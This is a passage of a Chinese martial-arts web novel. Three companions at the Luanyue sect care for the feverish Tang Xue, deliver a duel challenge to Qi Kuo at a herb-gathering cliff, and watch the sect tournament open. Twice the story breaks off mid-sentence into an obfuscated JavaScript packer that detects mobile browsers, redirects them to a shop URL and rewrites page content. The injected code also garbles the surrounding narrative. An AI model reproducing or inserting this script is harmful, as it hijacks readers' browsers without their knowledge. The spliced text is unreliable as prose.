唐雪笑道,“恩人,我知道,不会又在这里睡过去的。” 随着周向晚走到台阶处,唐雪道,“不用担心,我这会已经很好了,我去窗边吹吹风,等你们下来。” 他们便说好等下在此处相见。 赵刀刀和周向晚顺着楼梯往上。 第五层琳琅满目都是峦岳派的章印,周向晚道,“这里都是峦岳派自己的东西了。这么多,倒真像个有底蕴的大门派。” 他朝着一个画架走过去。 赵刀刀道,“你好像不喜欢这里?” 周向晚道,“还好。” “为什么?”赵刀刀问,“因为……秋水剑?” 峦岳派要与周向晚有什么关联,她也只能想到陆怀瑾给张长老铸的那把剑和周向晚的表妹陆珠珠了,陆珠珠过得很好,应该不是答案。 周向晚一顿,道,“不是。”他拿起卷轴,缓缓打开。 他说,“我只是觉得这里难负盛名。” 赵刀刀不解。 周向晚道,“或许只是我自己想多了。” 赵刀刀不再追问。看着他手里的画卷,问,“这是?” “白玉山的地图。”周向晚递过来。 赵刀刀接过细看。 地图上层峦叠嶂,峦岳派的山峰果然很多,她感觉画在地图上的那些山的样子也挺奇特。 看着,她耳边一动,听到周向晚走远的声音。 赵刀刀抬头看了一眼只剩下自己的五层。 过了片刻,周向晚才过来寻她,道,“走吧。” 赵刀刀卷起地图放回,问,“你去上面了?” 周向晚道,“嗯,去看了一眼。楼上还是没有守卫,不过到顶层的路上堵住了,有道五根玄铁制成的门。” 周向晚两手空空,赵刀刀不再追问。 他们下去找唐雪,打算回去找老齐商量下大比的事。 35. 饮茶 回到住处。 周向晚出去打听些事,唐雪太渴了,赵刀刀陪她进屋等候。 这里不是佩城,白玉山的高度足以让气温恢复到可以承受的温度,最热的时候应该过去了。 但待在房中的赵刀刀还是觉得很热。 她循着热源看向身边,发现唐雪正要倒茶给自己喝,手里的茶杯却一个没拿稳,掉下来。 赵刀刀伸手接住。 “你发烧了。”赵刀刀找到了发热的原因,是唐雪的体温暖热了周围。 她顺手拿过茶壶,倒了一杯茶递给唐雪。 唐雪愣愣地看着恩人递来的茶,接过茶杯一口喝完。 喝完的杯子像酒盅一样砸在桌上。 她的脸这会红透了,整个人热得像个小火炉,偏自己还迷迷糊糊的,一副没有反应过来的样子。“我?” 赵刀刀又倒了一杯,把剩下几个茶杯也拿出来摆在桌上,倒满了放着,一壶茶很快完了。“你的脸很红。”她一杯一杯递给唐雪。 唐雪连喝四杯,口渴的感觉缓解了大半。 喝完茶,她整条胳膊都贴在桌子上,脸也慢慢低下去贴着,清了清嗓子,声音还是带着一丝沙哑,“我怎么好像看见了一桌茶杯……” 赵刀刀伸手去探唐雪的额头,那温度烫得她手缩了下。 她皱眉扶唐雪到榻上躺着,挣开唐雪捏着她的手,拧了一块湿手帕敷在唐雪头上。 “我怎么躺下了?” 唐雪看着屋顶,有些懵懂,伸手还要够她。 和病人讲话是讲不通的,赵刀刀心中担忧,把唐雪的手放在榻上,匆匆留下一句,“我出去一下,很快回来。”就出门找医生。 老齐安排的地方不错,一出门赵刀刀就碰到了峦岳派的弟子,几乎是刚出门就回到房中。但就这一会儿工夫,唐雪还是半阖着眼睛,朦朦胧胧地睡着了。 “唐雪?”赵刀刀轻声呼唤。 唐雪动了动身子,把领口蹭开了些,袖子也蹭起来,没有回音。 赵刀刀认命地搬了两盆冰进来,又换了一次手帕。 刚撤开手医生就来了。 “就是这里?” “是。” 赵刀刀闻声朝门口看去,从门外的光幕中走进一个身影,慢慢靠近了,才看清她墨发红衣,风姿秀丽,竟是个高挑的女医生。 赵刀刀到这里以来第一次看见女医,她让开位子,有些急迫又有些好奇地站在旁边等着。 医生蒙了面,红纱遮面,只露出一双眼睛。 她红衣张扬,看起来像个江湖侠女,像个大家闺秀,就是不像医生。 唐雪被搭上脉搏的那一刻惊醒了,眯着眼睛问,“谁?”她没想明白自己什么时候躺在床上的。 “这是医生。”赵刀刀回答她。 唐雪努力去寻赵刀刀,看见她在床边站着,哦了一声。 她已经烧的看不清人影,本能觉得那是赵刀刀,安心下来。 这里的床铺柔软过度,她已经比赵刀刀和周向晚多躺了很久,就是因为身体酸痛才想着多活动一下,没想到动了不到一天又回到原点,一时竟有些想念唐家堡的卧榻。 唐雪撑不住在骨子里作祟的困乏疲惫,只清醒了一小会儿又昏睡过去。 “医生,她怎么样?” 赵刀刀问,端了一杯茶递给医生。 医生没接,起身收拾好随身带的箱子。“脉虚身热,她这是暑热,没有大碍,好好休息就行,我开两副药,你记得在晚间睡前让她服下。” 她走到门口把方子交给等着的女弟子。 赵刀刀看了一眼,只认出一副黄连,其他的大约也是清暑益气的药,“多谢医生。” “不用谢,医者本职而已。” 女弟子说到时会煎好药送过来,赵刀刀在门口看着医生离开,转身回到屋内。 她把没送出去的茶自己喝了。 放下茶杯,看着唐雪病恹恹的模样,赵刀刀忽然觉察到一种诡异的宿命感,她发现此时的唐雪正契合她在水城为自己安排的剧本——柔弱的唐家大小姐。 但是这样想一个病人好像有些幸灾乐祸,实在不好,她赶忙将这个念头从脑海里赶走。 放在一旁的黑刀突然出声道:“你递茶的意图太明显了。” 赵刀刀一愣,勾了下嘴角:“谁知道她真的不接呢?” 赵刀刀问,“对了,你最近怎么老是睡觉?叫你也没反应。” 刀子精沉默片刻,“……我也不知道。” “难道你也病了?”她异想天开,“这里连刀也会中暑?” 赵小刀有些无语,冷言道,“我看是你的脑子病了。” “嘿嘿,”赵刀刀靠在桌边拿起黑刀,神色由玩笑变得正经,低声道,“小刀,你要是病了,一定要告诉我……”话说到这她说不下去了,因为赵刀刀忽然发现这种假设下她毫无办法,一个人生病了尚能医治,一把刀病了该怎么办呢? 她否定道,“不,刀是不会病的。” “嗯,刀不会生病的。”赵小刀肯定道,“我只是有些困,或许是之前陪着你熬了太多夜,毕竟那时候你睡着了我也没睡过,所以现在找个机会补回来。” “嗯?赵小刀你好好说话,你难道在怪我?”赵刀刀一字一顿,语气阴沉。 “不敢不敢,都怪我都怪我。”赵小刀服软道。 刀子精难得这样低声下气,赵刀刀轻哼一声。 来到这里之后,连赵小刀自己都不知道自己什么时候会睡过去,醒来又过去了多久,赵刀刀的焦虑理所应当。 这种失控的情形令人不安,可无论是赵刀刀还是赵小刀,他们都不能像诊病那样判断缘由,只能在心里期待一切好转。 赵小刀觉得自己这样的状态不会太久。 赵刀刀觉得黑刀都陪了自己这么久了,一时嗜睡也可以忍受。 他们默契地没有再说。 “反正你要是醒来一定要叫我,哪怕我在睡觉,不许醒了还装睡。”赵刀刀道。 “好。” 咚咚。 两声敲门声。 赵刀刀走到门口,“周向晚。” 周向晚探头往里看,问,“你一个,唐雪呢?” “她生病了。” 周向晚一愣,“又病倒了……?”他皱眉嘀咕,“看来这地方和她八字犯冲啊。” 赵刀刀摇摇头,“没那么严重,是中暑了,不过没有大碍,医生来过,开过药了。” “那就好。”周向晚舒了口气。“唉,柔弱的唐大小姐。” “我们出去说。”赵刀刀拿着刀将门掩上,跟周向晚走到院子。 她看见老齐也在院子里等着。 “老齐。” “赵姑娘。” 三人走到一处僻静石桌旁坐下。 这会儿已经傍晚,晚霞如火,赵刀刀觉得每个人的脸颊都跟唐雪下午那会儿一样,不过想到唐雪已经降温下去,他们好像更像那个医生,红红一片。 周向晚道,“我刚好碰上老齐,问了你和齐阔那事,老齐说你这种情况之前也常有,峦岳派并不禁止外门参与大比。”他的视线看向老齐。 赵刀刀点了下头,也看过去,“有什么条件?” 老齐抚须笑道,“大比确实并非只有派内弟子之间可以切磋,只是为了防止有人恶意惹事添了些规矩。外来的想要登上大比,说难也不难。”他说,“其一,要有峦岳派的请柬,来者是客,才有切磋的前提,其二,要有双方都认可的约战信,虽说是客人,却也不能想挑谁就挑谁,规矩还是要的,毕竟这不止关系到弟子的尊严,还关系到门派威严。” 赵刀刀点点头。 周向晚道,“请柬我们有,这战书是?” 他口中的请柬是峦岳派给陆家送来的,上面邀了他们三人。 老齐道,“这个双方谁下都行,主要是被下的一方接下战书,毕竟比武也讲究个两厢情愿嘛。” 赵刀刀与周向晚相视一眼,道,“我可以。” 老齐却摇了摇头,“其实……这一步看似简单,实则最难。”他解释道,“齐阔在这场比试中至少有两场要参加,对手也都是内门弟子,他不一定会接。” 赵刀刀皱眉,“早上被那么多人看着了也不行?” 老齐解释道,“这样的事在外门弟子之间也时有发生,要是因为吵一两句就真站擂台上不下来了,大比比到明年也比不完,所以峦岳派的规矩就是这样,大比只认战书。” 齐阔是谁,他不但是峦岳派内门弟子,还是张长老座下首席弟子,他的一举一动,他的输赢,都关系着峦岳派这一代弟子的风声。 这首席弟子的位子多的是人眼馋,老齐断定,齐阔此次大比一定做足了准备,哪怕是输,也必定输得漂亮。 赵刀刀这场比试并不在他预料之中,所以他未必会认。 “啧。” 打个偷刀贼都这样麻烦。 但赵刀刀还是觉得这事很容易解决,她说得斩钉截铁,“齐阔不下战书,那就我来,白天那么多弟子围着,他夸下的海口难道还能不认不成。是他自视甚高,将自己置于风口浪尖,要是临了打了退堂鼓,灰溜溜地连战书都不敢接,哪怕这次大比他赢到最后,也不能服众。” 她说,“他这么在乎名声,我不介意替他好好宣扬一番。” 老齐神情一动,有些被她说服。这姑娘平时闷声不吭,关键时候,倒真像她手里那把古怪的黑刀一样冷硬。 周向晚也在一旁帮腔了几句。 “唉……好吧。” 老齐无奈地摇摇头,笑道,“年轻真好啊……不过这战书要怎么交到他手里呢……” 不是齐阔神出鬼没,而是临近大比,各大弟子每天都有许多事要忙。 齐阔今天只是恰好走到藏书阁那条路上遇到赵刀刀他们,实际他被安排的事务在白玉山深处,想要见到并非易事。 赵刀刀问,“明天他会在哪?” 老齐捏着胡子思索片刻,道,“应该在内门一处峭壁附近,不过那地方客人一般是不让进的。” 周向晚扇着扇子,忽然出声,问,“他去采药?” 他说的轻描淡写。赵刀刀望过去,原来他下午是去打听这桩事? 老齐惊讶道,“是,没想到派内事务陆公子也知道——” 周向晚道,“我听说白玉山内山云雾缭绕,但越是深入越难向前,只因内林瘴气弥漫,不过白玉山东边峭壁上有一种药草,可驱瘴气,明心神。” 老齐称赞道,“陆公子真是见多识广。” 周向晚还礼道,“峦岳派建派已逾百年,我也是之前有些好奇,问了家中长辈才恰巧得知这白玉山的妙处。”他说,“这事过去很久了,也是刚才忽然想起来。” 赵刀刀觉得这话很耳熟,周向晚忽然想起来的事真是不少。 老齐颔首肯定道,“齐阔确实是去采那种草药的。” 赵刀刀试探问,“那个地方外人都不能去?” 周向晚也看向老齐。 老齐有些为难,“这……我说不是恐怕你们也要试一试。”他叹气道,“只是这采药一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周向晚道,“山上都是峦岳派的地盘,怎么会有酒馆。” 赵刀刀歪头。 周向晚笑道,“我们没有酒,别人有就行了。” 赵刀刀眨了眨眼。 周向晚摇着扇子道,“如果两坛酒就能在唐家堡大小姐面前卖个人情,这笔买卖,对大多数人来说可是划算的不得了。” 赵刀刀觉得自己仿佛看到了周向晚被扇子挡住的半张脸,翩翩公子……他明明是在奸笑吧? 他们等唐雪醒来喝药时将这事说了,唐雪自然没问题,只是有些不解。 晚上。 赵刀刀去练刀。 唐雪精神好了些,躺了一下午也躺不住了,去寻周向晚。 周向晚在擦拭他的扇子。“你还病着,怎么过来了?” 唐雪敲门进来,关了门站在门边,双手交叉在胸前,道,“佩城陆家的名号在这里比唐家更管用吧?” 屋外夜风萧萧。 窗大开着。 屋里烛火摇曳。 周向晚的桌上摆着一壶茶,冒出丝丝缕缕的热气散在空中。杯子里的茶很安静。 “你是唐家大小姐。” 唐雪身体有些虚弱,但睡饱了,正是精神高涨的时候,她轻笑一声,“哟,你不是陆家大少爷?” 周向晚的手指隔着绢布摩梭扇骨。“我叫什么来着?” 唐雪道,“周向晚啊。”她忽然反应过来,道,“你不会……” 周向晚耸耸肩,“对,所以我不是。” 唐雪一直认为唐家堡是个很好的地方,但陆家也是个好地方。 她张了张嘴。 周向晚放下扇子,擦了擦手,拿起一个杯子斟茶。“过来坐吧,我这茶可是刚送来的,还热乎着。” 唐雪走到桌边坐下,接过茶杯。 茶水有些热,但是茶杯小,这点热也不会烫手。 唐雪吹了吹,道,“现在是夏天。” “你生病了。”周向晚道,“而且我发现夏天也适合喝热茶。” 唐雪抿了口放下,回怼道,“不是热酒?” 周向晚道,“在山上有点不敢。” “不敢什么?” “怕喝醉了被人从山上扔下去。” 唐雪捂着嘴笑弯了眼睛,她轻咳几声直起身子,揶揄道,“别担心,你那师妹会救你的。” 周向晚瞟了她一眼,冷声道,“呵。” 唐雪道,“你不信吗?” 周向晚喝了口茶,又拿起扇子慢慢擦了。 唐雪望了一圈,道,“想喝热茶就把窗关了吧,你这屋子太阴,怪冷的。” “不要。” 唐雪扑哧一笑,无奈道,“好吧,你这样是伤害病人。” 周向晚过去把窗关了。 接着回到原位擦扇子。 唐雪慢慢喝完了那一杯茶,起身道,“你不是喜欢喝热茶吗,你那杯已经凉了。” 周向晚专注于手里的扇子,没有抬头。 唐雪无奈笑笑,拿起他身前的杯子,将茶泼出去,倒了杯新的给他。 “毛病,还要病人照顾你。我走了。” “嗯,好好养病。” “我会好的。”唐雪走到门口道,“周少爷,你也别太叛逆了。” 周向晚听着这话,缓过弯儿再抬头,人已经出去了。 桌上的茶还有一点余温。 36. 采药 第二天一大早,天刚亮赵刀刀就醒了。 她收拾妥当,带好黑刀,出门等人。 她敲了敲周向晚的门,没人应答,但是有声音从旁边的屋子传出来。 “恩人。” 唐雪将门打开,扒在门框边探头。 她眼神清亮,两颊微红,没有昨天的病色。 赵刀刀笑了笑,“早上好,还头晕吗?” 唐雪摇摇头,打开门走出来,转了一圈,“完全好了。”她笑着说。 “要一起去吗,不再休息休息?” “当然,我休息的太多了,要是让唐二他们看到我昨天那副样子,准要嘲笑我了,我可没有那么虚弱,我要跟你一起。” 赵刀刀看她期待的眼神,拗不过她,“……要不多带一件衣服?你还有一碗药没喝。” 她不习惯关心人,每句话都带着僵硬,自己听也觉得别扭极了,连带手脚都无处安放起来。 “不急不急,晚上再喝。”唐雪没察觉她的不协调,嘿嘿一笑,“恩人放心,我已经穿得很厚了,这可是夏天,也不能穿太多。”她走过来让赵刀刀看自己的袖子,外衫下还有三层薄衫。 的确很厚了,在山崖边上应该不会冷,赵刀刀点头。 唐雪问,“周向晚呢?他不在屋里?” “敲了没人应,估计是出去了。” 唐雪打了个喷嚏,捂着嘴道,“好吧,那我们等等他。” 话音刚落,就见周向晚从门外踏进,怀中抱着两坛子酒,不知是从哪换来的。 他抬起腿帮着抬了抬酒坛,“欸,你们别光看着,帮帮我啊!” 赵刀刀过去接了一坛放在桌上。 皱着鼻子道,“你去了酒窖?” 唐雪也嗅到他周围的味道,拿手在鼻子前扇个不停,“你去哪了,泡在酒里吗?一身酒味儿。赶快去换件衣服吧,你身上的味道简直比这两坛酒还冲。” 周向晚低头嗅着两边肩膀闻了闻,“有味吗?我怎么没闻到。” “你快去换——” 唐雪摆摆手,捏着鼻子转头,拒绝与他说话。 赵刀刀也默默退后两步。 周向晚面露委屈道,“你们真是用完就扔啊。” 赵刀刀和唐雪一起瞥他一眼。 “好吧,你们在这等等。”周向晚后退几步远离他们,转身进屋。 好一阵他才出来,换了身灰黑袍子,走动间还装模作样地闻了闻自己的袖子,“现在还有吗?” 唐雪道,“没了,不过我看你喝酒也要喝饱了,还有地方用来吃饭么?” 周向晚理顺衣袖,“我就是小酌两杯,离喝饱的地步还远着,当然要吃饭了。” 赵刀刀看着酒问,“我们先去吃饭,等下再来拿酒?” “嗯。” 唐雪过来拉着她一起往外走,周向晚随在后头。 三人用了早饭回来拿酒,带着酒去寻徐管事。 赵刀刀坐在一旁,发现那管事脸颊红扑扑的,浑身酒气,眼神却并不浑浊。 他推脱着,在周向晚的几番好言相劝下,终于让人接了酒,勉为其难地把临时令牌给了他们。 周向晚接过,又是几句好话哄得他红光更甚,直夸陆家弟子果真是一脉相承、一表人才,周向晚谦虚应和。 看着他们以茶代酒推杯换盏,赵刀刀清醒地发现这是自己怎么也达不到的境界。 还是得有朋友……她默默想到。 这时候的周向晚看起来有几分陆怀瑾的模样。不过赵刀刀怀疑,如果在这里的真是陆怀瑾,或许这两句寒暄就可以免去了……或许连送酒和见面也能免了? 要是到陆怀瑾那种境界……赵刀刀抬头望了一眼天,恍惚觉得这个好像离自己更远。 她摇摇头,脸上挂着笑跟周向晚他们一起行礼道别。 打理好徐管事,三人终于可以去深山里瞧瞧。 嘎吱。 赵刀刀一步踩在草枝上。 领路的弟子半途被人叫走,指了剩下的路给他们就不知所踪。 这诺大个门派,好像都是见过一面就再没见过的弟子。 她深吸一口气,又慢慢地呼出。 周向晚抬头远望,高峰隐约可见,他惋惜道,“从这里走到山崖也要半个时辰了,早知道早饭应该多吃些。” 赵刀刀点头。 唐雪不急不躁道,“多走走也挺好的。” 周向晚叹气摇头,“唐大小姐休息够了当然觉得挺好的,我可是起了个大早。” 唐雪嗔道,“谁让你不跟我们说,只是取酒的话,恩人和我都能陪你去。” 周向晚沉默半晌,等两人都看向他才道,“唉,你们一起去的话,又要多些说废话的时间。” “喂,”唐雪一推他的肩,“你也好意思说?你到底是换酒还是去喝酒我都没跟你计较,打着本小姐的名号招摇我也没说什么呢!” 周向晚举着扇子不伦不类地行了个礼,“好吧,在下的错,在此多谢唐大小姐了。” 见唐雪作势要摸出飞镖,他连忙向前躲开。“赵刀刀,你管管唐雪。” “?”赵刀刀没明白怎么就扯到她了。 “唐堡主可是把她交给你了,你不会忘了这茬吧?” 唐雪哼道,“我和你的恩怨,你扯恩人干嘛。” 周向晚故作柔弱,扶着手臂道,“啊,我大早上去搬了两坛酒,手可是现在还在酸呢。” 唐雪瞪他一眼,佯装生气,又破口笑道,“暂且放过你。” 赵刀刀松了口气,她不擅长处理别人的恩怨,幸好他们也不需要她处理。 唐雪这会看着活力十足,赵刀刀确认道,“现在头还晕吗?” 唐雪道,“一点儿也不晕。”她看向赵刀刀,眼睛扑闪如同刚刚飞过的蝴蝶翅膀,道,“恩人担心我?” 赵刀刀被这眼神盯着,忍不住移开视线,“嗯,身体重要。”她想了想道,“等下到崖边你站远些吧。” “嗯!” 路越走越偏,越走越冷。 山崖附近寒风凛冽,冷峻的水汽从崖底随风飘来,吹的人睁不开眼。 出示过令牌,守着的弟子才放他们靠近。 赵刀刀遮住风努力往前看。 最远处有山峰在白雾中隐约显现,是和主峰相邻的白玉山最高峰,玉川峰。 离他们更近的前方就是采药的山崖。 峰岩陡立,万丈峭壁,上行的水汽和山顶干燥的空气相接,生出驱瘴的灵药。 她站的地方无法看清峭壁上灵药长什么样,只知道峦岳派要采的草药大约就在山崖下方十丈处。 灵药之下雾气弥漫,目力所及不过一臂远,石壁上青苔遍布,看起来湿滑无比,寻不到半个落脚处。 透过云雾隐约有水声传来,深不见底的下方应该有一道山涧。 采药的弟子皆严格遵守着规定,顺着绳索下到固定位置采了药就传递信号,不敢转头多看一眼。 上面守着的弟子见有人要上来,立刻喊着口号,拉绳子的弟子便一齐使力将底下的人拉上来。 那弟子上来后还忍不住腿软发抖。 上来的弟子周围除了扶着他的,还站着几个人。 有些穿的和他一样,在一小块范围内踱步,似乎在担心自己等下要下去,也有不那么怕的,抱臂站在原地。 还有一位很独特的姑娘。 赵刀刀看了一眼,便跟着周向晚走到另一边。 周向晚已经找到了管事的弟子,拿出准备好的理由,对边上的弟子说,“小兄弟,我们来找陆珠珠的,她是我妹妹,她现在在哪呢?” 那弟子看了他一眼,低下头继续绑手里的绳扣,“她刚下去,你们在这等等吧。” “好。” 三人看了看周围,寻了一块巨石,擦了擦坐上去。 赵刀刀道,“他们放我们进来,却不让我们靠近崖边,但那边站着的姑娘也不是峦岳派弟子吧?” 那独特的姑娘穿着一身红衣,在周围一众白衣的峦岳派弟子中格外醒目。 赵刀刀看着那道美丽的背影,觉得有些眼熟。 唐雪缓缓道,“是啊……”她坐在背风处搓搓手。幸好她穿的多,这儿还真有些冷。 周向晚道,“可能还有什么缘由吧,估计是提前就约下采药的。” 那姑娘像是听到了自己被谈论一般,转身看来,视线掠过周围的弟子落在他们身上。 不知道看到什么,她皱了皱眉,眼睛蹙起来。 隔得远,赵刀刀看不清她的眼神,只是本能觉得这目光不算友善,她的手不自觉搭在腰间黑刀上。 三人没有说话,那姑娘看了一会儿,走了过来。 “你是谁?”她的声音清冷,就像山上的冷风。 赵刀刀看了看周围,不解道,“你在问我?” 眼前的姑娘却没有接话,又转头看向唐雪,问,“你是唐雪?” 唐雪疑惑,“是,你这人怎么这样无礼,你又是谁?” 周向晚不带笑意地笑道,“虽然世间对美人总有优待,但这位姑娘……我们萍水相逢,不必这样咄咄逼人吧。” 红衣美人微微蹙起眉头,又勾起一边嘴角笑道,“忘了,真抱歉。”她又看向赵刀刀,“我叫顾倾城 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13149670|137808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你呢?” “……赵刀刀。”好古怪的脾气,比她的还怪。赵刀刀心中念叨。 “这位公子呢?” “周向晚。” 顾倾城问,“你们也来采药?” 赵刀刀道,“不是。” 周向晚反问,“顾姑娘来此是为了采药?” 顾倾城笑了笑,道,“白玉山有一种草药,不卖给外人,我只好自己来取。” 她不在意地靠在三人对面的石头上,“既然是唐大小姐,想必诸位是从唐家堡来了。” 周向晚道,“是,不知顾姑娘哪里人?” 顾倾城道,“我从柳城来。” 柳城,赵刀刀心中一动。 她不着痕迹地打量着顾倾城的手,葱白纤细,柔弱无骨,不像是能攀峭壁的,更不像握剑的手。她看起来根本不会武功。 赵刀刀试探道,“你刚才在崖边是要采药?” 顾倾城笑道,“是啊,我在等下去的人上来,换我下去。” 赵刀刀惊讶,“你要自己下去采药?” 顾倾城撑着头道,“没办法,峦岳派的人太不通情理,派内的弟子死板的很,我只能自己来了。” 唐雪也注意到了这人的身段,出声道,“他们这不就是在为难你?” 顾倾城点头,煞有其事道,“嗯,我看出来了。” 唐雪对她的印象不好,却也不忍看别人为难,“那你……” 顾倾城有些兴味地凑上前来,“唐大小姐,你要帮我吗?” “……” “齐师兄上来了!” 那边峦岳派弟子的呼喊声令人侧目。 赵刀刀起身道,“你们坐着,我去找他。” 周向晚不适应这古怪的气氛,摸摸鼻子道,“珠珠上来了,我去找她说两句。” 顾倾城看着二人离开,问唐雪,“你们来是为了找齐阔?” “嗯。” 顾倾城低声喃喃道,“不是来找我啊。” 唐雪道,“什么?” “没事,就是觉得能在这里遇上唐大小姐,还真是幸运呢。” “……” 唐雪觉得自己和这位姑娘好像很难聊。 赵刀刀看着峦岳派的弟子一起围着齐阔吹嘘,说他采了最多草药。 她停在外围没有过去,齐阔应该看到她了。 齐阔放下药,如所有大师兄一般贴心地叮嘱下一波弟子千万小心脚下,石壁太滑,不必为了多采几颗药待太久。弟子齐齐称是,他点头离开。 “你来这里做什么?” 赵刀刀拿出昨夜写好的请战书,“齐公子忘了自己说过什么?” 齐阔看着她手里的信封,神色不明,“哼,赵刀刀,我只怕你没有勇气与我一战。” “哦,这点勇气我还是的。”赵刀刀挥了挥信,挑衅道。 齐阔一把夺过信封,看了一眼便折起收入衣襟,冷笑道,“今天值守的弟子该去领罚了,居然跟你一样,丝毫不把峦岳派的规矩放在眼里。他们竟敢让你带着那把刀走到这里,他们不知道这有多危险?” 赵刀刀只觉得赵小刀也该醒来听听这浑话,她深深一笑,惋惜道,“他们讲规矩,我不讲,不过我带刀进来也只是以防万一,怕齐公子不看到刀无心接战,没想到你比我想的更小气,竟然因为一己私欲就要惩罚那些无关弟子。” “你!” “不过我想——齐公子放着名门正派的弟子不做,整日想着这些偷鸡摸狗的小事,实在无助于修炼吧。” “赵刀刀,你不要口出狂言!” “我说的不是事实吗?”赵刀刀对上他的怒目。 “呵!今日不与你这女人计较,改日擂台上见!” “是谁在与谁计较,齐公子还不清楚吗?” 齐阔怒极,见有弟子过来,隐下怒意,冷哼一声甩手离去。 赵刀刀没想到自己这么容易就达成了目的,她以为齐阔不会轻易收下战书,没想到他看也不看就收下了。 亏她咬着笔杆想了半晚上措辞内容,居然没用上。 回去找唐雪时周向晚已经回来了,赵刀刀看了一圈,疑惑道,“那个姑娘呢?” 唐雪道,“顾倾城?她说她等的人到了,她还忙着采药,就走了。” “哦。” 红衣在白衣之间本是很显眼容易找到的,但顾倾城说要采药,却消失在山崖之上。 她下去了吗,赵刀刀想起那双手,莫非她会武功? 不过就算她会,以她的年纪,也不可能是老板娘让她找的人。赵刀刀不再多想。 大比还有一天。 37. 断水 一天过的很快,待唐雪的头不晕,三人休息饱,也适应了白玉山的环境,就到了大比的时候。 “赵小刀。” 赵刀刀系紧袖带,问道,“你昨天见到小蛇了吗?我最近怎么感觉这蛇总是神出鬼没,见了也总是一副病恹恹的样子,嗜睡的不行。” 她低声道,“倒是和你挺像的。” 青蛇盘在桌上,如静置的玉镯一般,在晨光中流光溢彩,赵刀刀总觉得哪里不对,没发现那蛇也如翠玉一般透过光来。 赵小刀道,“我在屋里的时候见过它,晚上随你出去练刀便没注意,估计它自己也跑出去透风了。” 赵刀刀轻哼一声,抱怨道,“这蛇真不听话,要是和你一样就好了,就算嗜睡,我还能放心些,现在我总觉得哪天它就要突然不见了。” 赵小刀沉默未语,过半晌听到隔壁唐雪出门的声音,才缓缓道,“走吧。” “嗯。” 比武擂台离赵刀刀三人所住客房不远,向东过三个院落,拾阶而上,就是一片能纳千人的演武场。 演武场白玉铺地,地势高出周围地面,周围立着三道高高的石柱,柱上刻着峦岳派的山云图案,和弟子们衣衫上的纹饰一模一样。 这演武场原是第一任掌门教习所用,后来门派渐大,为发扬本派武学,峦岳派广纳弟子,剑法流派也在原来基础上演化出其他路数,各长老和掌门亲自挑选弟子开山静修,便很少再见全派弟子一齐习练的盛景,此处也只有每年派内重大活动时才装点起来使用。 峦岳派大比的台子就搭在这白玉武场正中,用四面战旗立在圆形的场地中央,框出一片方形区域,旁边立着一架一人多高的大鼓。 不远处有高台长檐,设了峦岳派掌门长老的坐席,还留了些位子给其他门派远道而来的贵客。除了这些长老贵客,其余弟子不论门派都是站着观武的。 自从离开唐家堡后,赵刀刀再没见过这种场面。 这次她以观众的身份站在人群中,与唐家堡那会儿坐在高位感觉全然不同。 周围全是人,热闹。 他们出来的时间不早不晚,离台子不是最近,刚好足以看清。 随着身后的人越来越多,赵刀刀对这场盛事终于有了切身体会。 她发现想要看大比也有讲究,晚来一时三刻,台子周围便被围得水泄不通了。正如她此刻,想往前走难如登天,往后的话只需迈出一步便再也回不来了。 她固守着原位,旁边除了唐雪和周向晚,站着的是峦岳派的弟子。赵刀刀发现这些弟子看着出乎意料的顺眼,没了之前看到的那种趾高气昂,跟其他门派的弟子比起来没什么区别。 人与人之间只剩一指的距离,赵刀刀往前半步,握住黑刀为自己争取到一点空间。 不禁想,今天是第一天都有如此盛况,若是到了明天,有厉害角色登台的场次,不知要挤成什么样。或许来迟一刻,就连衣角也瞄不到了。 大比已开始。 掌门长老说了些场面话,底下弟子齐声呼喊着应和,不过三场之后,刚开始整整齐齐的队列已在惊呼中变的散乱无章。 三人早上未用饭,只吃了点点心垫肚子。一是早上用餐人实在太多,等怕是要等好久,二是是为了抢占时机找个好位置。 感受着周围的人气,他们意识到这决定实在英明。 赵刀刀和齐阔的比试在第三天,今天只用站在台下看人交锋,她本以为自己不会有什么感觉,看着看着却忍不住跟着人群欢呼起来。 当真是人声鼎沸。 唐雪也融入其中。 “恩人,你看那人的剑,我还是头一次看到这样细的剑,他一开始出招我还以为他赤手空拳呢!” 周向晚道,“唐家那么多难以察觉的暗器,你居然还会吃惊于这种小把戏。” 唐雪瞪他一眼,道,“他出手极快,那剑也确实细如柳枝,虽然——虽然和我唐家暗器相比还是差了些火候,不过我就是感慨下也不行吗?!” 周向晚拱手,“我也没说不让你感慨啊。” 唐雪作势要打他,被他避开,哼一声,又继续瞧着台上。 赵刀刀看了几场,对武洲的和峦岳派的看法有所转变。 这里的确不同,台上的人比水城那些厉害太多,峦岳派也不是她先前以为的全是废物,哪怕是第一天,要是认真挑的话,还是能挑出几位硬手的。 她食指尖轻磕在刀柄上,黑刀轻轻一颤似在回应。 唐雪听着台上的人念名字,每听到一个名字便小声惊呼,跳跃几下,就是她自己站在台上,估计都不会这样激动。 周向晚劝道,“大小姐,冷静点,缓着些。” “正是关键时候,别说话!”唐雪怨怼一句,接着往台中央看去。 赵刀刀无奈笑笑,也朝台中看去。 他们连看了三天比赛。 终于快轮到赵刀刀的场次。 这天,唐雪和周向晚起得更早,连带着将赵刀刀也早早拉起来。 赵刀刀要上场,本不在乎这些,见他们这样激动,也跟着早早到达,往前面占了个好位置。 唐雪拍着赵刀刀的肩,鼻尖出了汗,有些紧张地看着她,“恩人,快到你了。” “嗯。” “紧张吗?”她眼睛亮亮的。 赵刀刀实话实说,“还好。”因为对手是齐阔,并不陌生。 “加油。”唐雪睁大眼睛看着她。 “加油。”周向晚也道。“别伤了性命。” 